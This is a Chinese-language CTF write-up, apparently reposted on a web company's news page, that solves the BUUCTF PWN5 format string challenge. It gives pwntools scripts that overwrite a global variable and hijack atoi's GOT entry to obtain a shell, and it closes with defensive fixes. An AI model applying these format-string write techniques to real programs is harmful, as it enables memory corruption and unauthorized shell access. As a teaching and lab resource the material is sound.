尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

BUUCTF [第五空间2019 决赛]PWN5:从格式化字符串到任意地址写的实战通关

BUUCTF [第五空间2019 决赛]PWN5:从格式化字符串到任意地址写的实战通关
📅 发布时间:2026/6/29 21:05:54

1. 漏洞背景与环境分析

这道PWN5题目来自第五空间2019年CTF决赛,考察的是经典的格式化字符串漏洞利用。我们先来看看题目开启了哪些保护机制。用checksec工具检查会发现,程序开启了Canary栈保护、NX(不可执行内存)以及部分RELRO(重定位表只读)。这些保护机制意味着传统的栈溢出和直接执行shellcode的方法都行不通了。

在IDA Pro中反编译后,可以看到程序的主要逻辑:首先从/dev/urandom读取一个4字节的随机数存入全局变量dword_804C044,然后提示用户输入name,这个输入会被直接传递给printf函数,这里就存在格式化字符串漏洞。接着程序会要求输入password,如果这个password经过atoi转换后等于之前存储的随机数,就会给出shell。

关键点在于这个随机数是无法预测的,但我们可以利用格式化字符串漏洞来修改dword_804C044的值,或者劫持atoi的GOT表项。由于没有开启PIE(地址随机化),所有函数的地址和全局变量的地址都是固定的,这为我们的漏洞利用提供了便利。

2. 格式化字符串漏洞原理

格式化字符串漏洞产生于程序员直接使用用户输入作为printf等函数的格式化参数。正常情况下,我们应该这样写:

printf("%s", buf);

但题目中却是:

printf(buf);

当用户输入中包含格式化字符如"%x"时,printf会从栈上读取数据并输出,这可能导致信息泄露;而"%n"则可以向指定地址写入数据,这就给了我们修改内存的机会。

在本题中,我们需要先确定输入字符串在栈上的偏移量。常用的探测方法是输入"AAAA-%p-%p-%p...",观察输出中"41414141"(即AAAA的十六进制表示)出现的位置。经过测试,我们发现偏移量为10,也就是说,我们输入的第11个参数(从0开始计数)会指向我们输入字符串的起始位置。

3. 漏洞利用方法一:修改全局变量

最直接的利用方式就是修改dword_804C044的值。由于我们知道它的地址(0x804C044),可以构造payload来修改这个地址处的值。

具体步骤是:

  1. 将目标地址(0x804C044)放在payload开头
  2. 使用格式化字符串"%n"来向这个地址写入数据
  3. 通过控制前面输出的字符数来控制写入的值

这里有个技巧:如果要写入的值很大(比如地址值),直接输出这么多字符会很耗时。我们可以分多次写入,每次写入1或2字节。这就是为什么在PoC中会看到四个地址和四个"%n"。

完整利用代码如下:

from pwn import * p = process("./pwn5") bss_addr = 0x804C044 payload = p32(bss_addr) + p32(bss_addr+1) + p32(bss_addr+2) + p32(bss_addr+3) payload += b'%10$n%11$n%12$n%13$n' p.sendline(payload) p.sendline(str(0x10101010)) # 这个值要与我们写入的值一致 p.interactive()

4. 漏洞利用方法二:GOT表劫持

另一种更通用的方法是劫持GOT表。在本题中,程序使用了atoi函数,我们可以把atoi的GOT表项改为system函数的PLT地址。这样当程序调用atoi时,实际上会调用system,我们只需要传入"/bin/sh"就能获得shell。

使用pwntools的fmtstr_payload可以简化这个过程:

from pwn import * io = process("./pwn5") elf = ELF('./pwn5') atoi_got = elf.got['atoi'] system_plt = elf.plt['system'] payload = fmtstr_payload(10, {atoi_got: system_plt}) io.sendline(payload) io.sendline(b'/bin/sh\x00') io.interactive()

这种方法的好处是不需要知道随机数的值,也不需要修改全局变量,直接通过函数调用劫持就能获得shell。

5. pwntools的fmtstr_payload详解

fmtstr_payload是pwntools中一个非常强大的工具函数,它可以自动构造格式化字符串攻击payload。它的基本用法是:

fmtstr_payload(offset, {address: value})

其中offset是格式化字符串的偏移量,address是要修改的内存地址,value是要写入的值。

函数内部会自动计算需要的字符数,并选择合适的写入方式(%n、%hn或%hhn)。对于大地址值,它会自动分割成多次小字节写入,非常方便。

在本题中,我们还可以用它来简化全局变量的修改:

payload = fmtstr_payload(10, {0x804C044: 0x1})

这样就能把dword_804C044的值改为1,然后我们只需要输入"1"就能通过检查。

6. 调试技巧与注意事项

在实际操作中,有几个调试技巧很有用:

  1. 使用pwndbg的fmtarg命令可以快速计算格式化字符串的偏移量
  2. 在gdb中设置断点观察内存变化
  3. 对于远程题目,要注意网络字节序和本地测试的差异

常见的坑包括:

  • 忘记发送最后的触发命令(如/bin/sh)
  • 偏移量计算错误
  • 没有考虑地址对齐问题
  • 在64位和32位环境下格式化字符串的行为差异

我在实际解题时发现,有时候直接使用FmtStr类会报错,这时手动构造payload会更可靠。另外,对于不同的libc版本,system函数的偏移可能不同,需要根据实际情况调整。

7. 防护措施与修复建议

虽然这道题目主要考察攻击技巧,但从防御角度来说,修复方法很简单:

  1. 永远不要使用用户输入作为printf的格式化参数
  2. 使用格式字符串常量,如printf("%s", buf)
  3. 开启完整的RELRO保护
  4. 启用地址随机化(PIE)

作为CTF选手,理解这些防护措施也很重要,因为它们会影响我们的漏洞利用方式。比如开启完整RELRO后,GOT表就不可写了,我们就不能使用GOT劫持的方法。

相关新闻

  • ChatGPT付费陷阱预警:这5个“默认优势”其实是营销话术,附官方API成本替代方案
  • 瓶盖视觉检测设备 缺陷刮花划伤黑点外观ccd机器视觉检测
  • PHP 应用 security.txt 漏洞披露实践

最新新闻

  • Anthropic推理层归零:从vLLM调度到契约式API的架构革命
  • 在Linux部署AdGuardHome:构建家庭网络去广告DNS网关
  • Linux应急响应实战:从Webshell排查到系统加固的完整指南
  • Top10大考察
  • 【保姆级教程】小米6X编译LineageOS 20.0完整指南(Android 13)
  • 错误码429频发?OpenAI官方文档未明说的限流逻辑,如何用3种动态退避策略实现零失败调用,

日新闻

  • ENVI5.3.1实战:基于Landsat 8影像的区域无缝镶嵌与精准裁剪
  • 3步完成HS2-HF Patch安装:新手快速打造完美HoneySelect2体验
  • 微信好友检测终极指南:3分钟发现谁已悄悄删除你

周新闻

  • Windows字体自定义终极方案:No!! MeiryoUI完全指南
  • Deepin Boot Maker:告别命令行,3分钟制作Linux启动盘的智能解决方案
  • Plain Craft Launcher 2:重新定义你的Minecraft游戏体验

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号